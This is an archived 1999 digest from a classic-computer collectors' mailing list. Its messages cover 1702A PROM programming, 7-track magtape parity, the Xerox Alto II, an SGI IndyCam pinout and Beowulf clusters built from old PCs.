Sun Feb 27 18:40:36 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <4.1.19990126224046.0344e380@office.ao.com> from "Gary Oliver" at Jan 26, 99 11:00:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1563 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/6ff12c57/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 27 14:36:52 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Sam Ismail" at Jan 26, 99 10:30:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1481 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/bcee5ee7/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 27 14:14:08 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: Classic Computer Auctions List In-Reply-To: <199901270756.CAA10365@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 27, 99 02:54:56 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 920 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/a21e5301/attachment.ksh From ckaiser at oa.ptloma.edu Wed Jan 27 17:49:28 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:36 2005 Subject: free stuff In-Reply-To: from "Doug" at Jan 27, 99 06:13:01 pm Message-ID: <199901272349.PAA15140@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 908 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/0e60b547/attachment.ksh From red at bears.org Wed Jan 27 17:52:56 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:36 2005 Subject: free stuff In-Reply-To: <199901272349.PAA15140@oa.ptloma.edu> Message-ID: On Wed, 27 Jan 1999, Cameron Kaiser wrote: > Can they be interfaced to other things? Nope. > A bright guy in the Commie world has figured out how to connect a > QuickCam to a 64. I should think it should be fairly easy with his > help to do the same here, and in colour. What kind of data protocol > does it use to talk to the host computer? I can tell you what maybe half the pins in the 60 pin connector are for. The rest are "SGI proprietary". Plus the quality of the image the camera will produce is abysmal at best. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From elvey at hal.com Wed Jan 27 17:54:30 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:36 2005 Subject: 1702A programming (was Bugbooks - Mark 80 ) In-Reply-To: <3.0.6.16.19990126190739.277fd12e@earthlink.net> Message-ID: <199901272354.PAA23713@civic.hal.com> Programming the 1702A's Well in some sence I have a little egg on my face. The programmer I have was infact designed for 1702A's but doesn't do it following the specifications. First 1702 versus 1702A's. As was mentioned, the 1702's couldn't take the same duty cycle by 10X. It isn't true that you can take a 1702 programmer and program 1702A but you can take a 1702A programmer and slow down the pulse rate and program 1702's. The difference is that the 1702A's require an address complement phase at the start of the cycle. This phase doesn't effect the 1702's so the only issue is repeat rate. Now to the issue with my MP7-03 board. The first PROM I tried was either originally blown or I blew it out. The programming voltage was about 53 volts. I cranked it down to 47 volts and tried another PROM and it now works fine. There is still the part I don't understand. The specifications for programming the 1702A show a setup time for the complement address at the start of 25 microseconds. The MP7-03 is violating this by quite a bit. The Vgg and Vdd are never pulsed to Vcc. The sequence is: step0: time before zero Vcc 5V Prog 5V Vgg -9v Vbb 5V Vdd -9v address lines true and 0/TTL levels Data lines true and 0/TTL levels step1: time 0 Vdd to Vcc-47volts Prog to Vcc Vgg to Vcc-35volts Vbb to Vcc+12volts Address lines to Vcc and Vdd levels but complemented Data lines true and Vdd/Vcc levels step2: time 50 microseconds Adrress lines to true, Vdd/Vcc levels step3: time 150 microseconds Prog to Vdd step4: time 2.5 milliseconds Prog to Vcc step5: time 2.9 milliseconds Levels to the same as Step0 Repeat every 15 milliseconds for 30 cycles. If you'll plot this out, you'll see that there is zero complement address setup time but the transition from 14 volts Vcc-Vdd to 47 volts Vcc-Vdd may compensate for this. Without understanding the internals, I couldn't say but it is not like the specifications. Part of the reason I'm posting the sequence used for this tester is that it is a little simpler than following the exact specification and may help some home made programmer. I also ran some AMD 1702A's through it without problems. The good news is that I was able to program three backup PROMs for my SIM4-01 board and I ran them to verify that they where correct. Thanks for the help from Jonathan Levine who sent me a copy of the document that made me realize that the firmware and hardware should program 1702A's even if the specs didn't match. Dwight From allisonp at world.std.com Wed Jan 27 17:57:03 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:36 2005 Subject: UNIX robustness Message-ID: <199901272357.AA21007@world.std.com> Hi. The green and copper of a board caught my eye today at the local thrift. At first, I thought it was a four slot s100 motherboard but on closer inspection I find the four slots are 86pin and it has a block harness for Gnd,+5, -12, and +12. On the back is has: LEE DATA, 60001460 Rev A, WL-10, 31/85. Anyone know what this is for? Thanks - Mike: dogas@leading.net From emu at ecubics.com Wed Jan 27 18:40:59 1999 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:40:36 2005 Subject: UNIX robustness Message-ID: <19990128004155.AAA18318@p2350> Hi Allison, hit the wrong button ? cheers, emanuel ---------- > From: Allison J Parent > To: Discussion re-collecting of classic computers > Subject: Re: UNIX robustness > Date: Wednesday, January 27, 1999 4:57 PM > On the other hand I've seen UNIX pdp-11s run as long as power and hardware > was available. > > Allison > From ard at p850ug1.demon.co.uk Wed Jan 27 18:03:20 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <19990127202508.24898.qmail@brouhaha.com> from "Eric Smith" at Jan 27, 99 08:25:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4433 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/c97b2fb0/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 27 18:43:36 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: Sharp MZ80-B Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 843 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/b343bf4f/attachment.ksh From eric at brouhaha.com Wed Jan 27 18:59:30 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:37 2005 Subject: Old tape densities In-Reply-To: <4.1.19990127150249.034c1970@office.ao.com> (message from Gary Oliver on Wed, 27 Jan 1999 15:19:09 -0800) References: <199901272216.RAA05697@pechter.nws.net> <199901272216.RAA05697@pechter.nws.net> <4.1.19990127150249.034c1970@office.ao.com> Message-ID: <19990128005930.26803.qmail@brouhaha.com> Gary Oliver wrote about 7-track magtape formats: > In "binary" mode with odd parity, all 6 bit codes could be represented since > there would never be a field of all 0's. I've never found out why there > needed to be both of these modes rather than just use binary mode for > everything. Anyone know the reason for this? I can hazard a guess. According to _IBM's_Early_Computers_ by Bashe et al. (an awesome book, but unfortunately out of print), their early "business" computers (702, 705, 705 III) used even parity, and their "scientific" computers (701, 704, 709, etc.) used odd parity. (I hope I've got that right, I don't have the book here to check.) While the "scientific" computers could deal with aribtrary binary data, the "business" computers only dealt with characters. They did arithmetic using fields of numeric characters. So the business computers could easily restrict their tape requirements to avoid the use of the all-zeros character code, whereas the scientific computers could not. At the time that the 701 and 702 were developed, there wasn't any tape standard that they had to be compatible with, so they were free to make arbitrary decisions. Apparently they didn't even care about tape interchange between the 701 and 702. Of course, this doesn't really explain *why* even parity was chosen for the business computers. With the benefit of 47 years of hindsight, it now seems like a stupid decision, but that is probably only because I don't know what other factors influenced the decision. From ard at p850ug1.demon.co.uk Wed Jan 27 18:50:21 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: from "R. Stricklin" at Jan 27, 99 06:52:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 395 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/b07fc0a7/attachment.ksh From eric at brouhaha.com Wed Jan 27 19:15:05 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:37 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990128011505.26946.qmail@brouhaha.com> Tony replied to my post about Al's Alto II auction: > But for a _known_ Xerox expert to be selling something 'as-is' makes me > think. He trivially knows how to test it. He probably has boot disks > around. Were you interested enough to email Al with questions? He put "as is" on the eBay description because it was the easiest way to describe it, and not set unrealistic expectations. If I had an Alto II that I knew to be in perfect working order, I probably wouldn't be willing to sell it on any basis other than "as is". But if you had asked him for more details, I'm pretty sure he could have told you a lot about the condition of the machine. Getting one of these machines running takes a lot more effort than a Xerox Star (8010), and it took a huge effort by multiple people inside and outside of Xerox (including Al) to get an 8010 fully operational for the "Last Public Demo of the Star" at PARC recently. > Calling it mass-produced is a little strange, considering how few were made.. There were many hundreds made, perhaps more than a thousand. I don't know the numbers. The Alto II specifically was built by the Xerox El Segundo facilty, which was normally chartered with building full-production equipment for revenue sale. All standard engineering practices for "real" products were in place, i.e., document control, ECOs, and the like. The only part that was missing was sales and marketing. So yes, in any conventional sense of the term I think it is accurate to say that it was mass-produced. It just wasn't mass-marketed. > Simple. If I had a spare one (very unlikely, as it means I've found at > least 2 and probably 3...), then I'd give it away. I'd find a collector > who wanted it (Al would be top of my list due to his > knowledge/experience) and donate it _on condition that it wasn't sold at > a profit_. Al has already donated a bunch of Altos to The Computer Museum, and one to CHAC. He has been extremely unhappy with the results of the donations, such that he is probably disinclined to donate any of his few remaining units to anyone. Under the circumstances, I don't blame him. From red at bears.org Wed Jan 27 19:49:34 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: Message-ID: On Thu, 28 Jan 1999, Tony Duell wrote: > > I can tell you what maybe half the pins in the 60 pin connector are for. > > How many of those are grounds (or power). Having every other pin grounded > is quite common, of course... The cable is quite slender. It would surprise me if all 60 conductors were used. I'm heading home just now so when I get there I'll send along the incomplete pinout that SGI let out. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From ckaiser at oa.ptloma.edu Wed Jan 27 19:59:18 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: from "R. Stricklin" at Jan 27, 99 06:52:56 pm Message-ID: <199901280159.RAA12286@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1024 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/5e5c8b8b/attachment.ksh From joe at barrera.org Wed Jan 27 19:53:15 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:37 2005 Subject: Gordon Bell computer books on-line Message-ID: <001001be4a60$fb118da0$11d53d9d@JOEBAR> And as I speak, Gordon is scanning a whole bunch more old papers to put on-line... I personally went and got him a pair of scissors so that he would stop ripping his bound papers by hand... :-) I think the one he was scanning was something like "have we learned anything from the pdp-11"? - Joe From pechter at monmouth.com Wed Jan 27 20:01:12 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:37 2005 Subject: Old tape densities In-Reply-To: <4.1.19990127150249.034c1970@office.ao.com> from Gary Oliver at "Jan 27, 99 03:19:09 pm" Message-ID: <199901280201.VAA06085@pechter.nws.net> > At 10:49 PM 1/27/99 +0000, you wrote: > >Bill Pechter wrote about 1/2 mag tapes and drives: > > > >> Tape Density Encoding method DEC Tape Drive > >> > >> 200BPI (NRZ?) > >> 556BPI (NRZI?) TU10? > > > >200 and 556 were only used for 7-track. Even from a single vendor such > >as IBM, some 7-track systems used odd parity and others used even. I'm > >not sure what recording mode the even parity systems used, as NRZI wouldn't > >work with even parity unless you could otherwise guarantee that there are > >no all-zeros data conditions. See below. > > > >> 800BPI NRZI (Non-Return to Zero Indescrete) TU10/16/TE10/16 > > > >800 BPI was used for 7-track and 9-track. NRZI is Non Return to Zero > >Inverting. On a 9-track, each "line" on the tape consists of 8 data bits and > >an parity bit. The "I" (Inverting) means that a flux transition is recorded > >on the tape if a data bit in the line is different than the same bit position > >in the previous line. So unless the data is all zeros, each line will have at > >least one flux transition. Unlike DECtape, there is no "clock" track, so it > >is essential that there is always at least one track with a flux transition, > >from which a read clock can be recovered. The odd parity guarantees that if > >all 8 data bits are zero, the parity bit will be one, so there is still one > >flux transition. > > Been a long time since my tape maintenance classes and days going through the DEC TM03 bit fiddler board prints 8-) Thanks for the refresher course. It's been 13 years or so since I last worked on a TU77 repair. > > It was conventional on 7 track drives to use the modes "BCD" and "Binary" > to describe the parity of the written characters. In BCD mode, each character > was written in even parity, while "binary" mode wrote odd parity. One > interesting side effect of this was the character code for '0' (usually six > bits of 0) couldn't be represented, since. as described above, it would have > been encoded as no flux changes for that field - i.e. a "blank" spot which > would have been completely skipped by the read electronics. For this reason, > some other character (often an octal 12 - often ':' in BCD) was chosen as the > replacement character, so in BCD mode, often the ':' couldn't be represented. > This code chosen varied from manufacturer to manufacturer. > > In "binary" mode with odd parity, all 6 bit codes could be represented since > there would never be a field of all 0's. I've never found out why there > needed to be both of these modes rather than just use binary mode for > everything. Anyone know the reason for this? > > I should point out that my experience on this was on Control Data 3300 > equipment (and some early CDC 6000 equipment with 7 track drives as well.) > We also used a number of Kennedy (sp?) small stepper-motor 7 track 200BPI > drives and, as far as I can tell (I have an old 7 track drive I use for > reading legacy tapes) all densities 200, 556 and 800 BPI use NRZI. In fact > for my small drive, setting "read" density is a No-op. It only affects > the clock generator for writing. So I assume the only difference is how > Gary This is like a refresher training course... I loved tape drive work, except for the ^&^%$#@ DEC TU45 abortion (the Pertec drive from HELL). Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From ard at p850ug1.demon.co.uk Wed Jan 27 20:13:59 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:37 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <19990128011505.26946.qmail@brouhaha.com> from "Eric Smith" at Jan 28, 99 01:15:05 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2975 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/fab420e1/attachment.ksh From healyzh at aracnet.com Wed Jan 27 20:28:30 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:37 2005 Subject: Gordon Bell computer books on-line In-Reply-To: <001001be4a60$fb118da0$11d53d9d@JOEBAR> Message-ID: >And as I speak, Gordon is scanning a whole bunch more old papers to put >on-line... I personally went and got him a pair of scissors so that he would >stop ripping his bound papers by hand... :-) > >I think the one he was scanning was something like "have we learned anything >from the pdp-11"? > >- Joe Gee, I don't suppose you can talk him into making Tarballs of these things so we can download them and read them off-line? BTW, what is the beast shown in the lower right-hand corner of this page? http://research.microsoft.com/users/gbell/Computer_Engineering/00000251.htm Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From eric at brouhaha.com Wed Jan 27 20:40:45 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:37 2005 Subject: Gordon Bell computer books on-line In-Reply-To: (healyzh@aracnet.com) References: Message-ID: <19990128024045.27461.qmail@brouhaha.com> > BTW, what is the beast shown in the lower right-hand corner of this page? > http://research.microsoft.com/users/gbell/Computer_Engineering/00000251.htm It's a PDP-11/60 with both card cages rotated out for maintenance. Anybody got a spare 11/60? :-) From wirehead at retrocomputing.com Wed Jan 27 20:45:17 1999 From: wirehead at retrocomputing.com (Wirehead Prime) Date: Sun Feb 27 18:40:37 2005 Subject: Massive parelell old junk In-Reply-To: <199901272001.VAA27667@mail.siemens.de> Message-ID: > perform it easy, but as you said, there is a hack value, and see > it from a 1984 perspective, it _will_ be a huge power in that > seting. A cluster of 64 working nodes (plus some 20 communication > nodes) might produce a peek performance of 18 MIPS(6502) - that > can be near a 20 MHz 386 (or 486) - and a 20 MHz 386 was _way_ > out of reach at that time. I've been building a Beowulf cluster out of discarded 486 and Pentium junk. Even got a 64 port hub to connect the thing. I expect to be below the 10.9 gflops reported so far by at least an order of magnitude. But that's hardly the point. That's most why nobody's heard from me on the list lately. =-D Anthony Clifton - Wirehead From red at bears.org Wed Jan 27 21:36:09 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: Message-ID: On Wed, 27 Jan 1999, R. Stricklin (kjaeros) wrote: > I'm heading home just now so when I get there I'll send along the > incomplete pinout that SGI let out. > The connector is a super-high density 60 pin one, identical to those used as serial interfaces on Cisco 2500 series routers. 4 rows of 15 pins each. Here's the info as found in the Indy Workstation Owner's Guide: Pin Description ---------------------------- 7 serial control data 9 serial control clock 12 clock ground 13 clock 22 +12 23 +5 24 -12 27 data (7) ground 28 data (7) 29 data (6) ground 30 data (6) 31 data (3) 32 data (3) ground 33 data (4) 34 data (4) ground 35 data (5) 36 data (5) ground 46 data (0) 47 data (0) ground 48 data (1) 49 data (1) ground 50 data (2) 51 data (2) ground all other pins are marked "reserved". Could somebody use this information to interface this camera to another machine? Maybe. I certainly wouldn't care to. SGI never even used this interface on any of their other machines. I suspect the idea was to use the Indycam with the Indy's built-in ISDN interface so you could get desktop video conferencing straight out of the box. Not even close to ten years old: the Indy was brand new in July 1994. Nifty machine, though. They had a promo when it was first introduced: write us a note on why you want an Indy in 25 words or less, and we'll give away niftily configured Indy systems to our five favourites. I won seventh place and got a letter thanking me for my entry instead. I don't think I kept it although I wish now I had. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From red at bears.org Wed Jan 27 21:41:21 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:37 2005 Subject: Massive parelell old junk In-Reply-To: Message-ID: On Wed, 27 Jan 1999, Wirehead Prime wrote: > I've been building a Beowulf cluster out of discarded 486 and Pentium > junk. Even got a 64 port hub to connect the thing. I expect to be below > the 10.9 gflops reported so far by at least an order of magnitude. But > that's hardly the point. Ouch. You may be unimpressed by its performance; Beowolf clusters really want to be switched, over multiple 100 Mbit connections, at that. The shared fabric of a half-duplex 10 Mbit ethernet at 64 nodes is probably going to get you the performance of 64 286 machines instead of 64 486-class machines. Power to you, all the same. It'll be fun at least. (: -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From ddameron at earthlink.net Wed Jan 27 19:25:42 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:37 2005 Subject: 1702A programming (was Bugbooks - Mark 80 ) In-Reply-To: <199901272354.PAA23713@civic.hal.com> References: <3.0.6.16.19990126190739.277fd12e@earthlink.net> Message-ID: <3.0.6.16.19990127192542.23bf8e68@earthlink.net> HI Dwight and all, At 03:54 PM 1/27/99 -0800, Dwight wrote: >Programming the 1702A's > Well in some sence I have a little egg on my face. >The programmer I have was infact designed for >1702A's but doesn't do it following >the specifications. > First 1702 versus 1702A's. As was mentioned, the >1702's couldn't take the same duty cycle by 10X. >It isn't true that you can take a 1702 programmer >and program 1702A but you can take a 1702A programmer >and slow down the pulse rate and program 1702's. >The difference is that the 1702A's require an address >complement phase at the start of the cycle. This phase >doesn't effect the 1702's so the only issue is repeat >rate. > Now to the issue with my MP7-03 board. The first PROM >I tried was either originally blown or I blew it out. >The programming voltage was about 53 volts. I cranked >it down to 47 volts and tried another PROM and it now >works fine. Cool that you can program them. I looked at my manual and it was for the MP7-03 too. In my schematic, there are 7486 gates in the 8 address lines to invert the data. They are inverted for 60 microseconds by a monostable. The signal goes from (edge connector) pin #7 to the 7486's connected to pin #39. Does anyonne know for what the inversion of the addresses is required? Have not traced all the timing as you have to see the resultant setup times, etc. Of course the MP7-03 uses positive voltages, as the voltage reference point is different than the data sheets. Am nor sure if I figured out the logic levels. You program a "1" with a negative voltage (data sheet) = positive in the MP7-03. I guess if the programmed data or addresses come out complemented, you got those levels inverted, and you do it again. It looks also that you can program 1 byte at a time (32 cycles). In the later 2708, the data sheets says you have to cycle through all locations. Does anyone know if this is for the thermal duty cycles of the address lines? This restriction was removed for the later 2716. -Dave From jpl15 at netcom.com Wed Jan 27 21:49:56 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:37 2005 Subject: Bashe IBM Early Computer book Message-ID: Someone on the List mentioned a book: IBM's Early Computers by Charles Bashe (et al) 1986 Cambridge MIT Press It was described as out of print/unobtainable. Whipping into a phone booth, I tore off my glasses, slammed the reciever down into my Novation JCat acoustic modem, and dialed up www.abebooks.com . Entering: Bashe, Charles gave 8 instances of the title available. The one at Silicon Valley Fine Books has been spoken for. ;} The 7 others are waiting for you..... Cheerz John From pete at dunnington.u-net.com Wed Jan 27 22:19:25 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: Doug "Re: free stuff" (Jan 27, 18:13) References: Message-ID: <9901280419.ZM13907@indy.dunnington.u-net.com> On Jan 27, 18:13, Doug wrote: > Subject: Re: free stuff > On Thu, 28 Jan 1999, Computer Room Internet Cafe wrote: > > > Ok, I'll bite, WTH is an Indy Camera?? > > A digital video camera for an SGI Indy. The market seems to be flooded > with them right now for some reason. A guy had a couple of boxes of them > at TRW last month. "IndyCam" -- they're moderately low-res (640 x 480 max, I think) 8-bit colour with a fairly unique interface. Meant for videoconferencing; they fit either an Indy or an Indigo^2. I've heard of people adapting them for other uses, though. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Wed Jan 27 22:24:49 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: Lawrence LeMay "free stuff" (Jan 27, 15:11) References: <199901272111.PAA04915@thorin.cs.umn.edu> Message-ID: <9901280424.ZM13935@indy.dunnington.u-net.com> Hi, Lawrence. On Jan 27, 15:11, Lawrence LeMay wrote: > Subject: free stuff > Sigh. I'm losing my secret storage room where i've been tossing all sorts of > old manuals and such.. So, does anyone need this: > > Documentation sets for the SGI Indigo R3000 computer. I assume you're in the States, so shipping to the UK would probably be too expensive. Pity, as I have three Indigos sans docs. I don't need them, since I could always download the electronic version from the SGI technical library, but they'd be nice to have. -- Pete Peter Turnbull Dept. of Computer Science University of York From red at bears.org Wed Jan 27 22:41:06 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: <9901280419.ZM13907@indy.dunnington.u-net.com> Message-ID: On Thu, 28 Jan 1999, Pete Turnbull wrote: > "IndyCam" -- they're moderately low-res (640 x 480 max, I think) 8-bit Real optical resolution is much less, under 320x200 I think. > fit either an Indy or an Indigo^2. They won't work with an Indigo^2 unless you find the magic Galileo Video option card, which works in a GIO32 slot (Indigo, Indigo^2. Technically I suppose it'd also work in the Indy although the Indy provides this functionality in integrated hardware.) Oops, I'm waay off-topic now, I'd better shut up. ok r. From pete at dunnington.u-net.com Wed Jan 27 22:52:27 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: "R. Stricklin (kjaeros)" "Re: free stuff" (Jan 27, 22:36) References: Message-ID: <9901280452.ZM13971@indy.dunnington.u-net.com> On Jan 27, 22:36, R. Stricklin (kjaeros) wrote: > Subject: Re: free stuff > On Wed, 27 Jan 1999, R. Stricklin (kjaeros) wrote: > > > I'm heading home just now so when I get there I'll send along the > > incomplete pinout that SGI let out. > > > > The connector is a super-high density 60 pin one, identical to those > used as serial interfaces on Cisco 2500 series routers. 4 rows of 15 pins > each. > > Here's the info as found in the Indy Workstation Owner's Guide: > > > Pin Description > ---------------------------- > 7 serial control data > 9 serial control clock > 12 clock ground > 13 clock > 22 +12 > 23 +5 > 24 -12 > 27 data (7) ground > 28 data (7) > 29 data (6) ground > 30 data (6) > 31 data (3) > 32 data (3) ground > 33 data (4) > 34 data (4) ground > 35 data (5) > 36 data (5) ground > 46 data (0) > 47 data (0) ground > 48 data (1) > 49 data (1) ground > 50 data (2) > 51 data (2) ground > > all other pins are marked "reserved". > > Could somebody use this information to interface this camera to another > machine? Maybe. I certainly wouldn't care to. SGI never even used this > interface on any of their other machines. I suspect the idea was to use > the Indycam with the Indy's built-in ISDN interface so you could get > desktop video conferencing straight out of the box. It's also used on Indigo^2 machines. Yes, it was meant for videoconferencing, and many Indys came with an evaluation licence and media for the software. Part of the problem is that ISDN didn't take off; it's common in Europe (especially Germany) and in many places you can just plug an Indy into the wall socket (like the one I'm typing this on) but it's a very muddled setup in the States, with lots of different switch types, multiple interface boxes, etc, in some cases. One of my colleagues took an IndyCam apart, and he tells me the serial bus is based around a standard I2C chip. BTW, I wouldn't describe the quality as "abysmal". Given decent lighting, it's not bad at all (though only 640 x 480, or maybe 640 x 512). Under fluorescent lighting, colour balance can be awkward, but that's because strip lights don't emit a full spectrum, as any photographer will tell you. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Wed Jan 27 22:57:28 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: pete@indy (Pete Turnbull) "Re: free stuff" (Jan 28, 4:24) References: <199901272111.PAA04915@thorin.cs.umn.edu> <9901280424.ZM13935@indy.dunnington.u-net.com> Message-ID: <9901280457.ZM14027@indy.dunnington.u-net.com> On Jan 28, 4:24, Pete Turnbull wrote: > On Jan 27, 15:11, Lawrence LeMay wrote: > > Subject: free stuff > > Documentation sets for the SGI Indigo R3000 computer. Drat, now I've done it too -- that wasn't meant to spam the list :-( -- Pete Peter Turnbull Dept. of Computer Science University of York From wirehead at retrocomputing.com Wed Jan 27 23:22:17 1999 From: wirehead at retrocomputing.com (Wirehead Prime) Date: Sun Feb 27 18:40:37 2005 Subject: Massive parelell old junk In-Reply-To: Message-ID: > > I've been building a Beowulf cluster out of discarded 486 and Pentium > > junk. Even got a 64 port hub to connect the thing. I expect to be below > > the 10.9 gflops reported so far by at least an order of magnitude. But > > that's hardly the point. > > Ouch. You may be unimpressed by its performance; Beowolf clusters really > want to be switched, over multiple 100 Mbit connections, at that. The > shared fabric of a half-duplex 10 Mbit ethernet at 64 nodes is probably > going to get you the performance of 64 286 machines instead of 64 > 486-class machines. I'm going to leave this on the list for the moment. It's slightly off-topic...or perhaps VERY off-topic. But it's a way to use all that 486 cordwood stacked in every collector's garage. At any rate, I'd considered this. I'm going to do it the 'wrong' way to start with just to get the software working. Then my evil plan is to find some other 10mbit hubs, which seem to be popping up free or cheap everywhere on the used market. Then part two of my evil plan is to do something I've always thought would be interesting, which is to use Linux boxes as ethernet switches. As you know, ethernet switches are prohibitively expensive. But I use a Linux box at my last job (an ISP) as a switch to good effect...but for TCP/IP only. We'll have to see where I end up with that. At any rate, right now for another similar project I'm trying to come up with a large number of IIgs boxes, connect them all together and run a distributed neural network across them. A large number would be 16 or more. Why IIgs's? Fast enough and have enough RAM to hold reasonably sized networks, machine codable in something like 6502 ml so I can make the processing fast. Blah blah blah...nice balance between speed and programming ease. A large number would be something like 16 or more. I'm a freak. I know it. Anthony Clifton - Wirehead From eric at brouhaha.com Thu Jan 28 00:17:34 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:37 2005 Subject: Oops! Apology for misinformation about Altos donated to TCM Message-ID: <19990128061734.28240.qmail@brouhaha.com> Sorry, it seems that I was mistaken. The Xerox Alto computers that were scrapped by The Computer Museum were not donated by Al Kossow, but apparently by MIT. From dpeschel at u.washington.edu Thu Jan 28 00:28:02 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:37 2005 Subject: Oops! Apology for misinformation about Altos donated to TCM In-Reply-To: <19990128061734.28240.qmail@brouhaha.com> from "Eric Smith" at Jan 28, 99 06:17:34 am Message-ID: <199901280628.WAA28838@saul9.u.washington.edu> > Sorry, it seems that I was mistaken. The Xerox Alto computers that were > scrapped by The Computer Museum were not donated by Al Kossow, but > apparently by MIT. SCRAPPED?? I knew they scrapped their PDP-6 and sold the pieces, but I hadn't heard about any Altos being scrapped. Damn. Idiots. Is there a definitive list of sins they've committed? :| <-- only half-smiling There's an Alto at the new History Center at Moffett Field, but I don't know if it works or not. -- Derek From Jgzabol at aol.com Thu Jan 28 04:26:20 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:37 2005 Subject: Bashe IBM Early Computer book Message-ID: <311fd963.36b03b4c@aol.com> The book also can be ordered at amazon.com. They do not have it in stock, but they are able to obtain copies. John G. Zabolitzky From Hans.Franke at mch20.sbs.de Thu Jan 28 05:40:02 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:37 2005 Subject: Sharp MZ80-B In-Reply-To: Message-ID: <199901281118.MAA22486@horus.mch.sni.de> > I hope this is not a single-instance machine :-) Nop, dream ended :) > A few years ago I was given a Sharp MZ80-B computer + disk drive. > Yesterday I got the user 